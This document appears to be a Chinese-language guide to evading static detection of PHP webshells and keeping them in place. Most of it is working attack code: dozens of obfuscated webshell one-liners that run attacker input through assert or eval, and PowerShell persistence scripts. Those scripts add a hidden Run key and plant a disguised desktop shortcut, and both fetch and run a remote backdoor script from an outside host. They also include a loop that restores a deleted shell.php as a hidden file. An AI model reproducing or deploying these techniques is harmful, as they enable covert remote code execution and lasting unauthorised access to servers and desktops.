# 基于php的webshell服务端文件静态免杀总结

## 查杀

静态特征：字符 语义分析 （混淆）

客户端服务端交互流量日志（流量加密 + 混淆）

Opcode rasp技术

机器学习、深度学习算法（像正常php文件）

## 免杀

### 字符串变形

ucwords() //函数把字符串中每个单词的首字符转换为大写。

ucfirst() //函数把字符串中的首字符转换为大写。

trim() //函数从字符串的两端删除空白字符和其他预定义字符。

substr\_replace() //函数把字符串的一部分替换为另一个字符串

substr() //函数返回字符串的一部分。

strtr() //函数转换字符串中特定的字符。

strtoupper() //函数把字符串转换为大写。

strtolower() //函数把字符串转换为小写。

strtok() //函数把字符串分割为更小的字符串

str\_rot13() //函数对字符串执行 ROT13 编码。

<?php

$a = substr\_replace("assexx","rt",4);

$a($\_POST['x']);

?>

### 注释

@$\_="s"."s"./\*-/\*-\*/"e"./\*-/\*-\*/"r";

@$\_=/\*-/\*-\*/"a"./\*-/\*-\*/$\_./\*-/\*-\*/"t";

@$\_/\*-/\*-\*/($/\*-/\*-\*/{"\_P"./\*-/\*-\*/"OS"./\*-/\*-\*/"T"}

[/\*-/\*-\*/0/\*-/\*-\*/-/\*-/\*-\*/2/\*-/\*-\*/-/\*-/\*-\*/5/\*-/\*-\*/]); // 密码-7

### 自定义函数

<?php

function kdog($a){

$a($\_POST['x']);

}

kdog(assert);

?>

<?php

function test($a){

$arr = array('a','s','s','e','r','t');

$func = '';

for($i=0;$i<count($arr);$i++) {

$func.=$func.$arr[$i];

}

$func=substr($func,-6);

$func($a);

}

test($\_REQUEST['x']);

?>

### 回调函数

call\_user\_func\_array()

call\_user\_func()

array\_filter()

array\_walk()

array\_map()

registregister\_shutdown\_function()

register\_tick\_function()

filter\_var()

filter\_var\_array()

uasort()

uksort()

array\_reduce()

array\_walk()

array\_walk\_recursive()

<?php

forward\_static\_call\_array(assert,array($\_POST[x]));

?>

<?php

function test($a,$b){

array\_map($a,$b);

}

test(assert,array($\_POST['x']));

?>

$func = new ReflectionFunction($\_GET[m]);

echo $func->invokeArgs(array($\_GET[c]));

### 特殊字符干扰（\ null ‘’ ）

<?php

function dog($a){

\assert($a);

}

dog($\_POST[x]);

?>

<?php

$a = $\_POST['a'];

$b = "\n";

eval($b.=$a);

?>

<?php

$name = $\_GET['name'];

$name1=$name2= '';

eval($name1.$name2.$name);

?>

<?php

$a = $\_GET['a'];

$c = null;

eval(''.$c.$a);

?>

### 数组

<?php

$a = substr\_replace("assexx","rt",4);

$b=[''=>$a($\_POST['q'])];

?>

多维数组

<?php

$b = substr\_replace("assexx","rt",4);

$a = array($arrayName = array('a' => $b($\_POST['q'])));

?>

$sF = "PCT4BA6ODSE\_";

$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);

$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];

if (isset($s22)) {

eval($s21($s22));

}

### 类的析构

<?php

class me

{

public $a = '';

function \_\_destruct(){

assert("$this->a");

}

}

$b = new me;

$b->a = $\_POST['x'];

?>

### 编码 异或 取反 自增

<?php

$a = base64\_decode("YXNz+ZX\_\_\_\_J\_\_\_\_0");

$a($\_POST[x]);

?>

异或

<?php

$a= ("!"^"@").'ssert';

$a($\_POST[x]);

?>

<?php

$\_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $\_='assert';

$\_\_='\_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $\_\_='\_POST';

$\_\_\_=$$\_\_;

$\_($\_\_\_[\_]); // assert($\_POST[\_]);

$\_=[];

$\_=@"$\_"; // $\_='Array';

$\_=$\_['!'=='@']; // $\_=$\_[0];

$\_\_\_=$\_; // A

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;

$\_\_\_.=$\_\_; // S

$\_\_\_.=$\_\_; // S

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++; // E

$\_\_\_.=$\_\_;

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // R

$\_\_\_.=$\_\_;

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // T

$\_\_\_.=$\_\_;

$\_\_\_\_='\_';

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // P

$\_\_\_\_.=$\_\_;

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // O

$\_\_\_\_.=$\_\_;

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // S

$\_\_\_\_.=$\_\_;

$\_\_=$\_;

$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++;$\_\_++; // T

$\_\_\_\_.=$\_\_;

$\_=$$\_\_\_\_;

$\_\_\_(base64\_decode($\_[\_])); // ASSERT($\_POST[\_]);

$y=~督耽孩^'(1987)';

$y($\_POST[1987]);

上述的代码需要以GBK的方式保存,其中的$y的值为assert，这样就是一个典型的webshell了。

还有如下这种：

$x=~Ÿ¬¬º­«;

$x($\_POST[~¹¹ÏÏÏÏ]);

上述的代码需要以ISO-8859-15保存，其中的$x为assert,而~¹¹ÏÏÏÏ是FF0000。

### $GPC

@eval($GLOBALS['\_POST']['op']);

@eval($\_FILE['name']);

### 变量覆盖

<?php

$a=1;

$b=$\_POST;

extract($b);

print\_r(`$a`)?>

a=dir

<?php $a=1;$b="a=".$\_GET['a'];parse\_str($b);print\_r(`$a`)?>

10.

Php7.1 之后的webshell

### 进制转换

$liner = "pr"."e"."g\_"."re"."p"."l"."ace";

$liner("/.\*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php\_code);

其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28其实为eval(gzuncompress(base64\_decode(也达到了隐藏敏感函数的目的。

### 反序列化

class foo{

public $data="text";

function \_\_destruct()

{

eval($this->data);

}

}

$file\_name=$\_GET['id'];

unserialize($file\_name);

### 利用文件名

no\_assert.php

<?php

${"function"}=substr(\_\_FILE\_\_,-10,-4);;

${"command"}=$\_POST[cmd];

$function($command);

### 自定义加密

function decode($string) {

$result = '';

for($index=0;$index<strlen($string);$index += 1) {

$result .= chr(ord($string[$index])-3);

}

return $result;

}

$b = create\_function('',decode("Chydo+'bSRVW^fpg`,>"));

$b();

### 加密混淆工具

Screw phpjm，phpjiami weevely

## 持久化

### 不死马

Php while

关闭apache 设置不可写 反不死马脚本

### 计划任务

At schtask/ crontab

### Powershell

$autorunKeyName = "Windows Powershell"

$autorunKeyVal = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1');Backd00r-webshell.ps1"""

$autoruns = Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

if (-not $autoruns.$autorunKeyName) {

    New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName -Value $autorunKeyVal

}

elseif($autoruns.$autorunKeyName -ne $autorunKeyVal) {

    Remove-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName

    New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName -Value $autorunKeyVal

}

$shell\_path = "G:\xampp\htdocs\backdoor\shell.php"

$shell\_content = [System.IO.File]::ReadAllBytes($shell\_path)

while($true){

    $flag = Test-Path $shell\_path

    if($flag -eq "True"){ sleep 1 }

    else{

        [System.IO.File]::WriteAllBytes($shell\_path, $shell\_content)

        $shell = Get-Item $shell\_path

        $shell.Attributes = "Readonly","system","notcontentindexed","hidden","archive"

        sleep 1

    }

}

powershell.exe -nop -windowstyle hidden -exec bypass -c &quot;IEX (New-Object Net.WebClient).DownloadString(&#39;<https://ub3r.cn/tools/backd00r/Backd00r-webshell.ps1&#39;);Backd00r-webshell.ps1&quot;>

Function LNK\_backdoor{

    $Command = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://ub3r.cn/tools/backd00r/Backd00r-webshell-Auto.ps1 ');Backd00r-webshell-Auto.ps1 """

    ##HIDE Computer Icon

    $ErrorActionPreference = "SilentlyContinue"

    If ($Error) {$Error.Clear()}

    $RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"

    If (Test-Path $RegistryPath) {

        $Res = Get-ItemProperty -Path $RegistryPath -Name "HideIcons"

        If (-Not($Res)) {

            New-ItemProperty -Path $RegistryPath -Name "HideIcons" -Value "0" -PropertyType DWORD -Force | Out-Null

        }

        $Check = (Get-ItemProperty -Path $RegistryPath -Name "HideIcons").HideIcons

        If ($Check -NE 0) {

            New-ItemProperty -Path $RegistryPath -Name "HideIcons" -Value "0" -PropertyType DWORD -Force | Out-Null

        }

    }

    $RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons"

    If (-Not(Test-Path $RegistryPath)) {

        New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer" -Name "HideDesktopIcons" -Force | Out-Null

        New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons" -Name "NewStartPanel" -Force | Out-Null

    }

    $RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"

    If (-Not(Test-Path $RegistryPath)) {

        New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons" -Name "NewStartPanel" -Force | Out-Null

    }

    If (Test-Path $RegistryPath) {

    ## -- My Computer

        $Res = Get-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"

        If (-Not($Res)) {

            New-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value "1" -PropertyType DWORD -Force | Out-Null

        }

        $Check = (Get-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}")."{20D04FE0-3AEA-1069-A2D8-08002B30309D}"

        If ($Check -NE 1) {

            New-ItemProperty -Path $RegistryPath -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value "1" -PropertyType DWORD -Force | Out-Null

        }

    }

    If ($Error) {$Error.Clear()}

    ##SHOW Computer Icon

    #set-ItemProperty -Path 'HKCU:Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu' -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value 0

    #set-ItemProperty -Path 'HKCU:Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel' -Name "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" -Value 0

    #RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True

    $Commandline = "/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | "

    $Command = $Commandline + $Command

    $get\_path=New-Object -ComObject WScript.Shell;

    $path = $get\_path.SpecialFolders.Item('Desktop')

    $WshShell = New-Object -comObject WScript.Shell

    $My\_Computer = 17

    $Shell = new-object -comobject shell.application

    $NSComputer = $Shell.Namespace($My\_Computer)

    $name = $NSComputer.self.name

    $Shortcut = $WshShell.CreateShortcut($path+"\"+$name+".lnk")

    $Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"

    $Shortcut.WindowStyle = 7

    $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15"

    $Shortcut.Arguments = '                                                                                                                                                                                                                                      '+ $Command

    $Shortcut.Save()

    refresh

}

Function refresh{

   $source = @"

using System;

using System.Collections.Generic;

using System.Text;

using System.Runtime.InteropServices;

namespace FileEncryptProject.Algorithm

{

  public class DesktopRefurbish

  {

    [DllImport("shell32.dll")]

    public static extern void SHChangeNotify(HChangeNotifyEventID wEventId, HChangeNotifyFlags uFlags, IntPtr dwItem1, IntPtr dwItem2);

    public static void DeskRef()

    {

      SHChangeNotify(HChangeNotifyEventID.SHCNE\_ASSOCCHANGED, HChangeNotifyFlags.SHCNF\_IDLIST, IntPtr.Zero, IntPtr.Zero);

    }

  }

  #region public enum HChangeNotifyFlags

  [Flags]

  public enum HChangeNotifyFlags

  {

    SHCNF\_DWORD = 0x0003,

    SHCNF\_IDLIST = 0x0000,

    SHCNF\_PATHA = 0x0001,

    SHCNF\_PATHW = 0x0005,

    SHCNF\_PRINTERA = 0x0002,

    SHCNF\_PRINTERW = 0x0006,

    SHCNF\_FLUSH = 0x1000,

    SHCNF\_FLUSHNOWAIT = 0x2000

  }

  #endregion//enum HChangeNotifyFlags

  #region enum HChangeNotifyEventID

  [Flags]

  public enum HChangeNotifyEventID

  {

    SHCNE\_ALLEVENTS = 0x7FFFFFFF,

    SHCNE\_ASSOCCHANGED = 0x08000000,

    SHCNE\_ATTRIBUTES = 0x00000800,

    SHCNE\_CREATE = 0x00000002,

    SHCNE\_DELETE = 0x00000004,

    SHCNE\_DRIVEADD = 0x00000100,

    SHCNE\_DRIVEADDGUI = 0x00010000,

    SHCNE\_DRIVEREMOVED = 0x00000080,

    SHCNE\_EXTENDED\_EVENT = 0x04000000,

    SHCNE\_FREESPACE = 0x00040000,

    SHCNE\_MEDIAINSERTED = 0x00000020,

    SHCNE\_MEDIAREMOVED = 0x00000040,

    SHCNE\_MKDIR = 0x00000008,

    SHCNE\_NETSHARE = 0x00000200,

    SHCNE\_NETUNSHARE = 0x00000400,

    SHCNE\_RENAMEFOLDER = 0x00020000,

    SHCNE\_RENAMEITEM = 0x00000001,

    SHCNE\_RMDIR = 0x00000010,

    SHCNE\_SERVERDISCONNECT = 0x00004000,

    SHCNE\_UPDATEDIR = 0x00001000,

    SHCNE\_UPDATEIMAGE = 0x00008000,

  }

  #endregion

}

"@

     Add-Type -TypeDefinition $source

    [FileEncryptProject.Algorithm.DesktopRefurbish]::DeskRef()

}

LNK\_backdoor